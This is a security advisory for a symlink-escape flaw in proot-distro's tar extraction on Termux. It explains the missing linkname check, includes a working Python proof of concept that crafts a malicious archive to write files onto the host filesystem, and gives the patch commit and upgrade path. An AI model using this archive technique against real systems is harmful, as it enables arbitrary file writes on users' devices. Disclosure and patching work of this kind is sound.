CVE-2026-54574: proot-distro Symlink Escape via Malicious Tar Archive
Installing a crafted tar archive with proot-distro lets an attacker write files anywhere on the host Android filesystem before the container ever runs, because symlink targets inside the archive are…

The problem
proot-distro's _extract_plain_tar() function checks member names for .. path traversal but applies no equivalent check to symlink targets (member.linkname). An archive can plant a symlink whose target is an absolute host path, then write a subsequent file entry through that symlink name.
Python's open() follows the planted symlink, so the file lands on the real host filesystem at the full privilege level of the Termux process. No container login is needed. The same flaw exists in _apply_layer() inside helpers/docker.py, and is also reachable via proot-distro reset.
Proof of concept
A working proof-of-concept for CVE-2026-54574 in proot-distro, with the exact payload below.
# craft_evil_layer.py
import tarfile, io
PAYLOAD = b"TERMUX_ESCAPE_SUCCESS\n"
buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode='w:gz') as tf:
# Step 1: plant symlink <rootfs>/escape -> /data/data/com.termux/files/home
sym = tarfile.TarInfo(name='escape')
sym.type = tarfile.SYMTYPE
sym.linkname = '/data/data/com.termux/files/home'
tf.addfile(sym)
# Step 2: write through the symlink -> host ~/POC_SUCCESS
reg = tarfile.TarInfo(name='escape/POC_SUCCESS')
reg.size = len(PAYLOAD)
tf.addfile(reg, io.BytesIO(PAYLOAD))
with open('evil.tar.gz', 'wb') as f:
f.write(buf.getvalue())
# proot-distro install ./evil.tar.gz
# cat ~/POC_SUCCESS => TERMUX_ESCAPE_SUCCESSThe traversal guard (any(p in ('..', '') for p in rel_parts)) only inspects the archive member's own path. It never touches member.linkname, so an absolute symlink target like /data/data/com.termux/files/home passes unchecked and is written to disk via os.symlink(member.linkname, dest).
The fix in commit a96d7a9 adds a _is_safe_symlink() helper that rejects any linkname where os.path.isabs(linkname) is true, and also verifies that relative targets resolve to a path inside rootfs_dir. The same guard was applied to _apply_layer() in helpers/docker.py.
This is CWE-61 (UNIX Symbolic Link Following).
The fix
Upgrade proot-distro to 5.1.5 (pkg upgrade proot-distro inside Termux). The patch commit is a96d7a9667f38e45d812614852ee3915d1c0ae45. If upgrading immediately is not possible, only install rootfs archives from fully trusted sources.
Reported by sylirre.
Related research
- high · 8.2CVE-2026-54727CVE-2026-54727: proot-distro Container Isolation Bypass via Crafted Restore Archive
- high · 8.2CVE-2026-54691CVE-2026-54691: datamodel-code-generator SSRF via --url
- high · 7.8CVE-2026-54654CVE-2026-54654: datamodel-code-generator Code Injection via Carriage Return in --extra-template-data comment
- high · 7.8CVE-2026-54655CVE-2026-54655: datamodel-code-generator Code Injection via x-python-type